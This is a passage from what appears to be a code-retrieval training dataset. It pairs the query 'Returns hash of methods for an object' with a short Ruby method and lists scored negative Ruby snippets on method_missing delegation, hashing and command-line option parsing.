"def camCommand _obj, _args\n \"_obj camCommand _args;\" \n end",
"def method_missing(method, *args, &block)\n if !self_respond_to?(method) && acting_as.respond_to?(method)\n acting_as.send(method, *args, &block)\n elsif !self_respond_to?(method) && typed_asset.respond_to?(method)\n puts \"You are calling the old asset #{typed_asset.object_key} for this method #{method}\"\n Rails.logger.warn \"You are calling the old asset for this method #{method}\"\n typed_asset.send(method, *args, &block)\n else\n super\n end\n end",
"def method_missing(cmd, *args)\n command(cmd.to_s, *args)\n end",
"def process(_cmd); raise NotImplementedError\n end",
"def cmdarg; end",
"def cmdarg; end",
"def cmdarg; end",
"def command_raw(args)\n\n end",
"def default_command(command)\n @@default_command = command.to_sym\n end",
"def method_missing(method_name, *arguments, &block)\n if @command_executor.respond_to?(method_name)\n @command_executor.send(method_name, *arguments)\n else\n super(method_name, *arguments, &block)\n end\n end",
"def patch=(_arg0); end",
"def getCommand()\n raise \"Missing implementation of 'getCommand'\"\n end",
"def override_execute(mod, hbsession, opts); end",
"def on_command method_name, _\n puts \"on_vcall: '#{method_name.inspect}'\"\n @token_stack.wrap_current_by self\n method_name\n end",
"def commands\n @@commands.dup\n end",
"def subcommands(cmd); end",
"def subcommands(cmd); end",
"def method_missing method, *args\n original_message.send method, *args\n end",
"def flexmock_invoke_original(object, method, *args, &block)\n object.instance_variable_get(:@flexmock_proxy).proxy.flexmock_invoke_original(method, args, &block)\n end",
"def flexmock_invoke_original(object, method, *args, &block)\n object.instance_variable_get(:@flexmock_proxy).proxy.flexmock_invoke_original(method, args, &block)\n end",
"def method_missing(s,*a,&b)\n if @change.respond_to?(s)\n @change.send(s,*a,&b)\n else\np caller\n super(s,*a,&b)\n end\n end",
"def process; raise CommandError, \"command '#{command_name}' not implemented\" end",
"def flexmock_invoke_original(method, args)\n method_proc = @method_definitions[method]\n method_proc.call(*args)\n end",
"def run_command_silently(full_command)\n raise NotImplementedError.new(\"run_command_silently is only available in concrete implementations\")\n end",
"def end_commands\n abstract!\n end",
"def exec\n super\n end",
"def method_missing(m, *args, &block)\n @commands.send(m, *args, &block)\n end",
"def overrides=(_arg0); end"
] |
[
"0.78605133",
"0.7667384",
"0.7453307",
"0.72344786",
"0.70955473",
"0.7014593",
"0.70133823",
"0.69590515",
"0.6937103",
"0.67832106",
"0.67799205",
"0.671952",
"0.671952",
"0.671952",
"0.671952",
"0.671952",
"0.671952",
"0.6597022",
"0.6586141",
"0.6555429",
"0.6534272",
"0.64931756",
"0.64512753",
"0.6404922",
"0.6388013",
"0.6370866",
"0.6268454",
"0.6261639",
"0.6243362",
"0.620974",
"0.620974",
"0.620974",
"0.620974",
"0.6179855",
"0.61689216",
"0.6162816",
"0.6156598",
"0.6146206",
"0.6135255",
"0.6133355",
"0.6127306",
"0.6124106",
"0.61091834",
"0.6106756",
"0.61031204",
"0.6099225",
"0.6099165",
"0.6095802",
"0.6085625",
"0.606318",
"0.6059",
"0.60544074",
"0.60464555",
"0.6034303",
"0.601272",
"0.5956135",
"0.59463227",
"0.59453744",
"0.5943383",
"0.59131944",
"0.5868175",
"0.58546466",
"0.58504945",
"0.58384144",
"0.58163804",
"0.57955015",
"0.5792419",
"0.57859665",
"0.5779827",
"0.57757497",
"0.5761976",
"0.5761976",
"0.57476586",
"0.5745592",
"0.57418585",
"0.5735273",
"0.57326555",
"0.57326555",
"0.57326555",
"0.57324463",
"0.57322216",
"0.57317394",
"0.5723437",
"0.5715604",
"0.57085735",
"0.57021856",
"0.569977",
"0.5698313",
"0.5698313",
"0.5687099",
"0.56858814",
"0.56858814",
"0.56653714",
"0.5660906",
"0.56594306",
"0.5658491",
"0.5651062",
"0.5648524",
"0.5643022",
"0.56355226"
] |
0.70384467
|
5
|
Returns hash of methods for an object
|
def object_methods(obj)
@object_methods[obj] ||= {}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def hash #:nodoc:\n __getobj__.hash ^ self.class.hash\n end",
"def to_hash\n ret = {}\n \n self.methods.select{ |it| it.id2name[-1] == '=' and !['==', '!='].include?(it.id2name) }.each do |method|\n name = method.id2name.gsub('=', '')\n \n if method.id2name[-1] == '=' and self.respond_to?(name) \n val = self.method(name).call \n ret[\"#{name}\"] = val if !val.nil? and val != '' and !['!'].include?(name)\n end\n end\n\n ret\n end",
"def define_hash_method(methods)\n define_method(:hash) do\n self.class.hash ^ methods.map { |method| send(method).hash }.inject(:^)\n end\n end",
"def methods\n @methods ||= {}\n end",
"def hash\r\n\t\treturn @name.hash() + @type.hash()\r\n\tend",
"def to_h\n (self.class.instance_methods(false) - [__callee__]).each_with_object({}) do |method, acc|\n acc[method] = public_send method\n end\n end",
"def hash\n\t\treturn [ self.subject, self.predicate, self.object ].hash\n\tend",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash() end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash; end",
"def hash\n code = 17\n code = 37 * code\n self.instance_variables.each do |v|\n code += self.instance_variable_get(v).hash\n end\n code\n end",
"def hash(*) end",
"def hash_code; end",
"def instance_methods\n all_methods().find_all{|m| (!m.singleton) && (@options.show_all || m.visibility == :public || m.visibility == :protected)}.collect{|m| method_hash(m)}\n end",
"def attributes_hash(object); end",
"def hash()\n #This is a stub, used for indexing\n end",
"def hash_method\n super\n end",
"def methods # rubocop:disable Metrics/AbcSize\n @methods ||= {\n includes?: ->(_, element) { Boolean.new(@value.map(&:value).include?(element.value)) },\n map: ->(context, fn) { map(\"map\", context, fn) },\n each: ->(context, fn) { map(\"each\", context, fn) },\n reduce: ->(context, fn) { reduce(\"reduce\", context, fn) },\n fold: ->(context, fn, iv) { reduce(\"fold\", context, fn, initial_value: iv) },\n foldl: ->(context, fn, iv) { reduce(\"foldl\", context, fn, initial_value: iv) },\n inject: ->(context, fn, iv) { reduce(\"inject\", context, fn, initial_value: iv) },\n foldr: ->(context, fn, iv) { reduce(\"foldr\", context, fn, initial_value: iv, reverse: true) },\n }\n end",
"def get_methods(obj)\n meths = obj.methods.grep(/impl/)\n meths.map { |m| m.to_s.gsub('impl_', '') + '!' }\n end",
"def hash\n [class_id, object_type, action, cache_state, cached_time, last_access_time, md5sum, original_sha512sum, path, registered_workflows, used_count, file, network_element].hash\n end",
"def hash\n to_h.hash ^ self.class.hash\n end",
"def hash\n [_name, _type, _klass].hash\n end",
"def hash\n @hash[:perm_type].hash ^\n @hash[:perms].hash ^\n @hash[:inheritance].hash ^\n @hash[:target].hash\n end",
"def to_hash( *args )\n h = {}\n args = [ args ].flatten\n args = self.collected_stats if args.empty?\n args.each do |meth|\n h[meth] = self.send( meth )\n end\n return h\n end",
"def hash # :nodoc:\n name.hash ^ type.hash ^ requirement.hash\n end",
"def hash\n end",
"def hash\n end",
"def hash\n end",
"def attr_hash\n Digest::MD5.hexdigest(\"#{@name}:#{@ruby_type}\")\n end",
"def list_methods\n index.keys.sort\n end",
"def hash\n self.class.name.hash\n end",
"def _hash(obj)\n obj.transform_values { |v| _renc(v) }\n end",
"def hash\n self.class.hash ^ operand.hash\n end",
"def class_methods\n all_methods().find_all{|m| m.singleton && (@options.show_all || m.visibility == :public || m.visibility == :protected)}.collect{|m| method_hash(m)}\n end",
"def __hash\n @hash\n end",
"def hash\n [_hash, name, owner].hash\n end",
"def instance_methods\n @cache[:instance_methods]\n end",
"def hash\n instance_variables.map do |var|\n instance_variable_get(var).hash\n end.reduce(:^)\n end",
"def hash_signature_by_method(values)\n case @method\n when :md5 then Digest::MD5.hexdigest(values)\n else Digest::SHA256.hexdigest(values)\n end\n end",
"def memoized_methods\n @_memoized_methods ||= {}\n end",
"def hash\n [self.class, to_s].hash\n end",
"def find_methods(hash)\n hash.each_with_object([]) do |(k, v), keys|\n keys.push(k)\n keys.concat(find_methods(v)) if v.is_a? Hash\n end\n end",
"def hash\n [self.class, id].hash\n end",
"def methods_to_try(obj)\n ret = obj.methods.map(&:intern)\n blacklist = obj.is_a?(Module) ? CLASS_METHOD_BLACKLIST : INSTANCE_METHOD_BLACKLIST\n klass = obj.is_a?(Module) ? obj : obj.class\n\n klass.ancestors.each { |ancestor| ret -= blacklist[ancestor.to_s.intern] }\n\n # 1.8.7 lacks Symbol#<=>\n ret.sort_by(&:to_s)\n end",
"def interesting_methods\n (self.methods - Object.instance_methods).sort\n end",
"def hash\n [self.class, to_h].hash\n end",
"def hash\n [self.class, to_h].hash\n end",
"def hash\n [self.class, to_h].hash\n end",
"def hash()\n #This is a stub, used for indexing\nend",
"def hash; map{|el| \"#{el.name} @ #{el.hash}\"}; map(&:hash).reduce(:+) % 2**32; end",
"def to_hash_exposing(*exposed_methods_and_initialize_hashes)\n exposed_attributes = exposed_methods_and_initialize_hashes.select do |arg|\n [ Symbol, String ].include?(arg.class)\n end\n \n initialize_hash = exposed_methods_and_initialize_hashes.select do |arg|\n arg.is_a?(Hash)\n end.inject({}, &:merge) # combine all hashes just in case\n\n for attr in exposed_attributes\n initialize_hash[attr] = send(attr)\n end\n \n initialize_hash.symbolize_keys\n end",
"def class_methods\n @cache[:class_methods]\n end",
"def local_methods(obj)\n (obj.methods - obj.class.superclass.instance_methods).sort\n end",
"def local_methods(obj)\n (obj.methods - obj.class.superclass.instance_methods).sort\n end",
"def hash\n ([self.class] + self.class.comparison_attrs.map{|x| send(x)}).hash\n end",
"def hash\n self.class.name.hash ^ @key.hash\n end",
"def hash\n\t\treturn [ self.class, self.dn ].hash\n\tend",
"def w(obj)\n obj.public_methods.sort - Object.methods\nend",
"def inspect_instance_methods\n return [] unless constant.respond_to?(:instance_methods)\n\n methods = get_methods(:instance_methods).map do |name|\n method_information(:instance_method, name)\n end\n\n return methods.sort_by(&:name)\n end",
"def inspect_instance_methods\n return [] unless constant.respond_to?(:instance_methods)\n\n methods = get_methods(:instance_methods).map do |name|\n method_information(:instance_method, name)\n end\n\n return methods.sort_by(&:name)\n end",
"def hash\n type.hash ^ (id.hash >> 1)\n end",
"def obj_fingerprints(ol)\n ol.map do |o|\n case o\n when Hash\n type = (o[:type]) ? o[:type] : o['type']\n id = (o[:id]) ? o[:id] : o['id']\n \"#{type}/#{id}\"\n else\n (o.respond_to?(:fingerprint)) ? o.fingerprint : nil\n end\n end\n end",
"def known_methods\n return self.operations.sort\n end",
"def registered_methods(as_registry=false)\n methods = {}\n ancestors.reverse.each do |ancestor|\n if ancestor.kind_of?(Attributes)\n methods.merge!(ancestor.lazy_registry)\n end\n end\n \n as_registry ? methods : methods.keys\n end",
"def hash\n self.class.hash ^ @ns.hash\n end",
"def hash\n\t\t(language + type + klass + thing).hash\n\tend",
"def hash\n [self.class, self.val, self.attribute].hash\n end",
"def hash\n return super unless has_size?\n\n res = 0\n each do |el|\n res += el.hash\n end\n return res\n end",
"def hash\n return name.hash ^ direction.hash ^ lhs.hash ^ rhs.hash\n end",
"def to_hash\n ret = {}\n \n self.methods.each do |method|\n name = method.id2name.gsub('=', '')\n val = self.method(name).call if method.id2name[-1] == '=' and self.respond_to?(name) \n ret[\"#{name}\"] = val unless val.nil? or ['!', 'others', 'resources'].include?(name)\n end\n \n ret[\"resources\"] = self.resources.collect { |resource| resource.to_hash }\n \n ret\n end",
"def hash\n \"#{self.class.name}-#{self.id}-#{@__metadata__.cas}-#{@__attributes__.hash}\".hash\n end",
"def to_hash() end",
"def hash\n [self.class, to_s].hash\n end",
"def to_h\n return @hash ||= (begin\n methods_hash = {}\n self.discovered_methods.each do |method|\n methods_hash[method.id] = method\n end\n self.discovered_resources.each do |resource|\n methods_hash.merge!(resource.to_h)\n end\n methods_hash\n end)\n end",
"def hash\n code = 17\n code = 37*code + @x.hash\n code = 37*code + @y.hash\n # Add lines like this for each significant instance variable\n code # Return the resulting code\n end",
"def hash\n [bitmask, self.class].hash\n end",
"def methods\n @method_ids.collect { |idx| BMethod.store[idx] }\n end",
"def methods\n return if @methods.empty?\n @methods.uniq.sort\n end",
"def inspect_methods\n return [] unless constant.respond_to?(:methods)\n\n methods = get_methods.map do |name|\n method_information(:method, name)\n end\n\n return methods.sort_by(&:name)\n end",
"def inspect_methods\n return [] unless constant.respond_to?(:methods)\n\n methods = get_methods.map do |name|\n method_information(:method, name)\n end\n\n return methods.sort_by(&:name)\n end",
"def attributes(object)\n attributes = {}\n @mapping.each do |key, method|\n attributes[key.to_sym] = chain_methods(object, method, {method_separator: @method_separator, force_method_calls: @force_method_calls}) # unless key.to_sym == :uid\n end\n attributes\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"def method_sigs\n @method_sigs\n end",
"def hash\n [bitmask, self.class].hash\n end",
"def hash\n self.atoms.hash\n end"
] |
[
"0.70811844",
"0.6702198",
"0.6667372",
"0.6595375",
"0.6525205",
"0.65250003",
"0.6520784",
"0.64524466",
"0.64524466",
"0.64524466",
"0.64524466",
"0.64524466",
"0.64524466",
"0.64524466",
"0.64149994",
"0.64149994",
"0.64149994",
"0.64149994",
"0.64149994",
"0.64149994",
"0.64149994",
"0.64149994",
"0.64149994",
"0.64149994",
"0.641318",
"0.64075917",
"0.6337498",
"0.6321685",
"0.6320991",
"0.631046",
"0.6289499",
"0.6264155",
"0.6255133",
"0.62418354",
"0.6200373",
"0.6174677",
"0.6142523",
"0.61421317",
"0.6119745",
"0.6113696",
"0.6113696",
"0.6113696",
"0.6098868",
"0.6096769",
"0.6077237",
"0.60751647",
"0.60621136",
"0.60610414",
"0.6058801",
"0.60454696",
"0.60382366",
"0.60349095",
"0.59943986",
"0.5992225",
"0.5986625",
"0.5980871",
"0.59750473",
"0.59688014",
"0.5966338",
"0.5965068",
"0.5965068",
"0.5965068",
"0.59579575",
"0.59553164",
"0.59524536",
"0.5951616",
"0.59512436",
"0.59512436",
"0.5943113",
"0.59322006",
"0.59222776",
"0.5918948",
"0.59138894",
"0.59138894",
"0.5904359",
"0.5874481",
"0.5866152",
"0.58647037",
"0.58584327",
"0.5857664",
"0.5854518",
"0.58525956",
"0.5852195",
"0.5841686",
"0.58376074",
"0.5832113",
"0.5828885",
"0.58046716",
"0.57950586",
"0.57946134",
"0.57890457",
"0.57886165",
"0.578832",
"0.578832",
"0.57804275",
"0.57675487",
"0.57675487",
"0.5766001",
"0.5764769",
"0.57643294"
] |
0.67921484
|
1
|
option command for given command
|
def option_command(cmd=@command)
@option_commands[cmd] ||= OptionCommand.new(cmd)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def command\n return @command if !@opt_set && @command\n @opt_set = false\n @command = [@binary, options]\n end",
"def option(option)\n \"--\" << option.to_s.gsub('_', '-')\n end",
"def command\n return \"#{@command} #{options}\"\n end",
"def treat_as_option doption\n option = nil\n valeur = nil\n if doption.start_with? '--'\n doption.gsub(/^--([^=]+)=?(.*)?$/){\n option = $1\n valeur = $2\n }\n else\n option_courte = doption[1..1]\n option = OPTION_LIST[option_courte]\n fatal_error(:unknown_option, :option => option_courte) if option.nil?\n valeur = doption[2..-1]\n end\n # Est-ce que c'est une \"option-command\"\n if OPTION_COMMAND_LIST.has_key? option\n @@command = option\n else\n @@options = @@options.merge option => valeur\n end\n end",
"def cmd!(cmd, options={})\r\n fail\r\n end",
"def option_command?\n options || @option_command\n end",
"def options(opt); end",
"def options(opt); end",
"def parse_command\n log_and_exit read_template('help') if @input.empty?\n @command = @input.shift\n \n while @input.any?\n opt = @input.shift\n \n if opt =~ /^--(\\w+)(=(\"[^\"]+\"|[\\w]+))*/\n name = $1\n value = $3 ? $3.gsub(/\"/, \"\") : true\n @named_options[name] = value\n else\n @options << opt\n end\n end\n end",
"def command_options(arg=nil)\n @command_options ||= default_options(match)\n @command_options.merge!(arg) if arg\n @command_options\n end",
"def command_run_options(c, str_opts)\n c.option '-c', '--categories [string]', String, str_opts.categories\n c.option '-d', '--dl-method [string]', String, str_opts.dl_method\n c.option '-n', '--number [integer]', Integer, str_opts.number\n c.option '-p', '--player [string]', String, str_opts.player\n c.option '-r', '--rng [string]', String, str_opts.rng\n end",
"def options(opt)\n end",
"def parse_option(obj, opt, argv)\n x = opt.sub(/^--/, '')\n #if obj.respond_to?(\"#{x}=\")\n obj.send(\"#{x}=\", true)\n #else\n # obj.option_missing(x, true)\n #end\n end",
"def select_action\n return :help if @options[:help]\n\n return :version if @options[:version]\n\n return :info if @options[:info]\n\n return :bump if bump_option? @options\n\n # command without options invokes info action\n :info\n end",
"def configure_command(cmd)\n end",
"def parse\n # Parse all arguments first\n option_parser.parse!(arguments)\n\n # Get the first argument, this is our command\n cmd = arguments.pop\n raise OptionParser::MissingArgument, 'command' unless cmd\n\n # Set the command if it's present\n options.command = cmd.to_sym\n end",
"def action_command\n Command.new(serverside_command_path, @serverside_version, *task) do |cmd|\n given_applicable_options = given_options & applicable_options\n given_applicable_options.each do |option|\n cmd.argument(option.type, option.to_switch, @arguments[option.name])\n end\n end\n end",
"def process_option( opt, arg)\n case opt\n when '--ec2-user-id': @ec2_user_id = arg\n when '--aws-access-key-id': @aws_access_key_id = arg\n when '--aws-secret-access-key': @aws_secret_access_key = arg\n when '--snapshot': @do_snapshot = true\n when '--restore-most-recent': @do_restore = true\n when '--host-role': @host_role = arg\n when '--volume-size': @volume_size = arg\n when '--tell': @do_tell = true\n when '--debug': @do_debug = true\n end\n end",
"def method_missing(command, *args)\r\n if command.to_s[-1, 1] == '!'\r\n @opts << \"+#{command.to_s.chop}\"\r\n else\r\n @opts << \"-#{command}\"\r\n end\r\n args.each do |arg|\r\n add_formatted arg\r\n end \r\n self\r\n end",
"def cmd(options={})\n arguments\n end",
"def execute(opt, argv)\n fail \"#{self.class.command} not implemented\"\n end",
"def command(name,aliases,desc,long_desc,arg_name,arg_options)\n abstract!\n end",
"def cmdline(command, options = {})\n command = [command].flatten\n cmdline = [where]\n cmdline += @options.merge(options).map { |k, v| !v ? nil : \"#{option(k)} #{v == true ? '' : v.to_s}\".rstrip }.compact\n cmdline << option(command.shift)\n cmdline += command\n cmdline.flatten.join(' ').strip\n end",
"def parseopts(cmd, options)\n if options != false\n options.each do |k, v|\n if k != :arg && k != :list_entries\n if v.is_a? Array\n v.each do |vv|\n cmd << \" --#{k}='#{vv}'\"\n end\n else\n cmd << \" --#{k}='#{v}'\"\n end\n end\n end\n\n options[:arg].each { |opt| cmd << \" --#{opt}\" } if options.has_key?(:arg)\n options[:list_entries].each { |e| cmd << \" \\\"#{e}\\\"\" } if options.has_key?(:list_entries)\n end\n cmd\n end",
"def parse_options!(args)\n option_parser.parse!(args)\n\n if args.empty?\n abort(\"You must give exactly one command to execute.\")\n else\n @options.command = args.join(\" \")\n end\n end",
"def unrecognized_option(err); end",
"def process_option (exp)\n\t\tscope {\n\t\t\tenv.current[:option] = true\n\n\t\t\tprocess(exp.shift)\n\t\t}\n\tend",
"def options() end",
"def add_options(type, cmd, default_template: 'default')\n cmd_name = cmd.name.to_s\n action = case cmd_name\n when /again/\n 'Repeat'\n when /grep/\n 'Search'\n when /mark/\n 'Flag'\n when /(last|tags|view|on)/\n 'Show'\n else\n cmd_name.capitalize\n end\n\n case type\n when :output_template\n cmd.desc \"Output to export format (#{Doing::Plugins.plugin_names(type: :export)})\"\n cmd.arg_name 'FORMAT'\n cmd.flag %i[o output], type: ExportTemplate\n\n cmd.desc \"Output using a template from configuration\"\n cmd.arg_name 'TEMPLATE_KEY'\n cmd.flag [:config_template], type: TemplateName, default_value: default_template\n\n cmd.desc 'Override output format with a template string containing %placeholders'\n cmd.arg_name 'TEMPLATE_STRING'\n cmd.flag [:template]\n when :output_template_no_defaults\n cmd.desc \"Output to export format (#{Doing::Plugins.plugin_names(type: :export)})\"\n cmd.arg_name 'FORMAT'\n cmd.flag %i[o output]\n\n cmd.desc \"Output using a template from configuration\"\n cmd.arg_name 'TEMPLATE_KEY'\n cmd.flag [:config_template], type: TemplateName\n\n cmd.desc 'Override output format with a template string containing %placeholders'\n cmd.arg_name 'TEMPLATE_STRING'\n cmd.flag [:template]\n when :add_entry\n cmd.desc 'Exclude auto tags and default tags'\n cmd.switch %i[X noauto], default_value: false, negatable: false\n\n cmd.desc 'Include a note'\n cmd.arg_name 'TEXT'\n cmd.flag %i[n note]\n\n cmd.desc 'Prompt for note via multi-line input'\n cmd.switch %i[ask], negatable: false, default_value: false\n\n cmd.desc \"Edit entry with #{Doing::Util.default_editor}\"\n cmd.switch %i[e editor], negatable: false, default_value: false\n\n cmd.desc 'Backdate start date for new entry to date string [4pm|20m|2h|yesterday noon]'\n cmd.arg_name 'DATE_STRING'\n cmd.flag %i[b back started since], type: DateBeginString\n when :finish_entry\n cmd.desc %(Set finish date to specific date/time (natural langauge parsed, e.g. --at=1:30pm).\n Used with --took, backdates start date)\n cmd.arg_name 'DATE_STRING'\n cmd.flag %i[at finished], type: DateEndString\n\n cmd.desc %(\n Start and end times as a date/time range `doing done --from \"1am to 8am\"`.\n Overrides other date flags.\n )\n cmd.arg_name 'TIME_RANGE'\n cmd.flag [:from], must_match: REGEX_RANGE\n\n cmd.desc %(Set completion date to start date plus interval (XX[mhd] or HH:MM).\n If used without the --back option, the start date will be moved back to allow\n the completion date to be the current time.)\n cmd.arg_name 'INTERVAL'\n cmd.flag %i[t took for], type: DateIntervalString\n when :search\n cmd.desc 'Filter entries using a search query, surround with slashes for regex (e.g. \"/query.*/\"),\n start with single quote for exact match (\"\\'query\")'\n cmd.arg_name 'QUERY'\n cmd.flag [:search]\n\n cmd.desc 'Case sensitivity for search string matching [(c)ase-sensitive, (i)gnore, (s)mart]'\n cmd.arg_name 'TYPE'\n cmd.flag [:case], must_match: REGEX_CASE,\n default_value: Doing.settings.dig('search', 'case').normalize_case,\n type: CaseSymbol\n\n cmd.desc 'Force exact search string matching (case sensitive)'\n cmd.switch %i[x exact], default_value: Doing.config.exact_match?, negatable: Doing.config.exact_match?\n when :time_display\n cmd.desc 'Show time intervals on @done tasks'\n cmd.switch %i[t times], default_value: true, negatable: true\n\n cmd.desc 'Show elapsed time on entries without @done tag'\n cmd.switch [:duration]\n\n cmd.desc 'Show time totals at the end of output'\n cmd.switch [:totals], default_value: false, negatable: false\n\n cmd.desc 'Sort tags by (name|time)'\n default = Doing.setting('tag_sort').normalize_tag_sort || :name\n cmd.arg_name 'KEY'\n cmd.flag [:tag_sort], must_match: REGEX_TAG_SORT, default_value: default, type: TagSortSymbol\n\n cmd.desc 'Tag sort direction (asc|desc)'\n cmd.arg_name 'DIRECTION'\n cmd.flag [:tag_order], must_match: REGEX_SORT_ORDER, default_value: :asc, type: OrderSymbol\n\n cmd.desc 'Only show items with recorded time intervals'\n cmd.switch [:only_timed], default_value: false, negatable: false\n when :tag_filter\n cmd.desc 'Filter entries by tag. Combine multiple tags with a comma. Wildcards allowed (*, ?)'\n cmd.arg_name 'TAG'\n cmd.flag [:tag], type: TagArray\n\n cmd.desc 'Perform a tag value query (\"@done > two hours ago\" or \"@progress < 50\").\n May be used multiple times, combined with --bool'\n cmd.arg_name 'QUERY'\n cmd.flag [:val], multiple: true, must_match: REGEX_VALUE_QUERY\n\n cmd.desc \"#{action} items that *don't* match search/tag filters\"\n cmd.switch [:not], default_value: false, negatable: false\n\n cmd.desc 'Boolean used to combine multiple tags (AND|OR|NOT). Use PATTERN to parse + and - as booleans'\n cmd.arg_name 'BOOLEAN'\n cmd.flag [:bool], must_match: REGEX_BOOL,\n default_value: :pattern,\n type: BooleanSymbol\n when :tag_filter_no_defaults\n cmd.desc 'Filter entries by tag. Combine multiple tags with a comma. Wildcards allowed (*, ?)'\n cmd.arg_name 'TAG'\n cmd.flag [:tag], type: TagArray\n\n cmd.desc 'Perform a tag value query (\"@done > two hours ago\" or \"@progress < 50\").\n May be used multiple times, combined with --bool'\n cmd.arg_name 'QUERY'\n cmd.flag [:val], multiple: true, must_match: REGEX_VALUE_QUERY\n\n cmd.desc \"#{action} items that *don't* match search/tag filters\"\n cmd.switch [:not], negatable: false\n\n cmd.desc 'Boolean used to combine multiple tags. Use PATTERN to parse + and - as booleans'\n cmd.arg_name 'BOOLEAN'\n cmd.flag [:bool], must_match: REGEX_BOOL,\n type: BooleanSymbol\n when :time_filter\n cmd.desc 'View entries before specified time (e.g. 8am, 12:30pm, 15:00)'\n cmd.arg_name 'TIME_STRING'\n cmd.flag [:before], type: DateEndString\n\n cmd.desc 'View entries after specified time (e.g. 8am, 12:30pm, 15:00)'\n cmd.arg_name 'TIME_STRING'\n cmd.flag [:after], type: DateBeginString\n\n cmd.desc %(\n Time range to show `doing #{cmd.name} --from \"12pm to 4pm\"`\n )\n cmd.arg_name 'TIME_RANGE'\n cmd.flag [:from], type: DateRangeString, must_match: REGEX_TIME_RANGE\n when :date_filter\n if action =~ /Archive/\n cmd.desc 'Archive entries older than date (natural language).'\n else\n cmd.desc \"#{action} entries older than date (natural language). If this is only a time (8am, 1:30pm, 15:00), all\n dates will be included, but entries will be filtered by time of day\"\n end\n cmd.arg_name 'DATE_STRING'\n cmd.flag [:before], type: DateBeginString\n\n if action =~ /Archive/\n cmd.desc 'Archive entries newer than date (natural language).'\n else\n cmd.desc \"#{action} entries newer than date (natural language). If this is only a time (8am, 1:30pm, 15:00), all\n dates will be included, but entries will be filtered by time of day\"\n end\n cmd.arg_name 'DATE_STRING'\n cmd.flag [:after], type: DateEndString\n\n if action =~ /Archive/\n cmd.desc %(\n Date range (natural language) to archive: `doing archive --from \"1/1/21 to 12/31/21\"`.\n )\n else\n cmd.desc %(\n Date range (natural language) to #{action.downcase}, or a single day to filter on.\n To specify a range, use \"to\": `doing #{cmd_name} --from \"monday 8am to friday 5pm\"`.\n\n If values are only time(s) (6am to noon) all dates will be included, but entries will be filtered\n by time of day.\n )\n end\n cmd.arg_name 'DATE_OR_RANGE'\n cmd.flag [:from], type: DateRangeString\n when :save\n cmd.desc 'Save all current command line options as a new view'\n cmd.arg_name 'VIEW_NAME'\n cmd.flag %i[save], type: String\n\n cmd.desc 'Title string to be used for output formats that require it'\n cmd.arg_name 'TITLE'\n cmd.flag %i[title], type: String\n end\nend",
"def cli_option(key)\n return @cli_options[key]\n end",
"def command\n case first\n when '\\?' then Command::HelpCommand\n when '\\config' then Command::PrintConfigCommand\n else\n puts \"Unknown command: #{buffer}\"\n end\n end",
"def cmdarg; end",
"def cmdarg; end",
"def cmdarg; end",
"def no_args_command(command, description)\n parser = OptionParser.new do |opts|\n opts.banner = \"usage: turnip #{command} [--help]\"\n opts.separator description\n opts.on_tail('-h', '--help', 'Show this message') do\n puts opts\n exit\n end\n end\n parser.parse!\n detect_unrecognized_args(parser)\nend",
"def switch_option(arg)\n if match = no_or_skip?(arg) # rubocop:disable AssignmentInCondition\n @switches[arg] || @switches[\"--#{match}\"]\n else\n @switches[arg]\n end\n end",
"def command(cmd); \"#{cmd}#{options.tail ? ' -f' : ''}\" end",
"def get_command_options(agent, command)\n command = create_spec(command)\n command.args = GET_OPTIONS\n ret = exec(agent, command)\n ret.raise!\n return ret.decode\n end",
"def cmd; end",
"def option(name, description, &block)\n name = name.to_s\n block ||= lambda{|v| options[name.to_sym] = v }\n short, long = \"-#{name[0,1]}\", \"--#{name}\"\n op.on_head(name, description, &block)\n end",
"def command\n\n cmd = \"\"\n\n xval = @options['xrange']\n cmd << \" #{xval}\" if( xval )\n \n yval = @options['yrange']\n cmd << \" #{yval}\" if( yval and xval )\n\n cmd << \" #{@basecommand}\"\n\n cmd << \" using #{@options['using']}\" if( @options['using'] )\n\n tstr = @options[\"title\"]\n cmd += if( !tstr ) then ''\n\t elsif( tstr == 'notitle' ) then 'notitle'\n\t else \" title '#{tstr}'\"\n\t end\n\n cmd << \" with #{@options['with']}\" if( @options[\"with\"] )\n\n cmd\n end",
"def method_missing(cmd, *args)\n command(cmd.to_s, *args)\n end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def execute_main(cmd)\n # append help option\n _list = list.clone\n _list << HelpOption.help\n\n _list.each do |item|\n # merge init values\n if item.init\n cmd.model[item.name] = Normalizer.normalize(item.type, item.init)\n end\n # set process context class\n if item.process_context_class.nil?\n item.process_context_class = get_process_context_class(cmd)\n end\n end\n\n # parse options\n OptionParser.new do |opt|\n _list.each {|item| item.setup(opt, cmd)}\n end.send(cmd.has_subcommands? ? :order! : :parse!, cmd.argv)\n\n # check option's validness\n check(cmd)\n rescue OptionParser::ParseError, NormalizerValueError => e\n raise OptionError.new(cmd, e.message)\n end",
"def option(opt)\n @options[opt]\n end",
"def missing_option=(_arg0); end",
"def missing_option=(_arg0); end",
"def missing_option=(_arg0); end",
"def missing_option=(_arg0); end",
"def missing_option=(_arg0); end",
"def missing_option=(_arg0); end",
"def cmd(command, *arguments) Command.send(command.to_sym, *arguments) end",
"def command_options(opts)\n opts[:read] ? opts : opts.merge(:read => @read)\n end",
"def parse_cli\n require 'getoptlong'\n require 'rdoc/usage'\n \n opts = GetoptLong.new(\n [ '--help', '-h', GetoptLong::NO_ARGUMENT ],\n [ \"--quote-terms\", '-q', GetoptLong::NO_ARGUMENT ]\n )\n \nend",
"def options\n\tputs \"[A]dd employee\"\n\tputs \"[D]isplay the employee details\"\n\tputs \"[Q]uit\"\n\tputs \"\"\nend",
"def command(type)\n end",
"def option_missing(opt, argv)\n raise NoOptionError, opt\n end",
"def option(flag, text, scope=nil)\n Runner.instance.add_option flag, text, scope\n end",
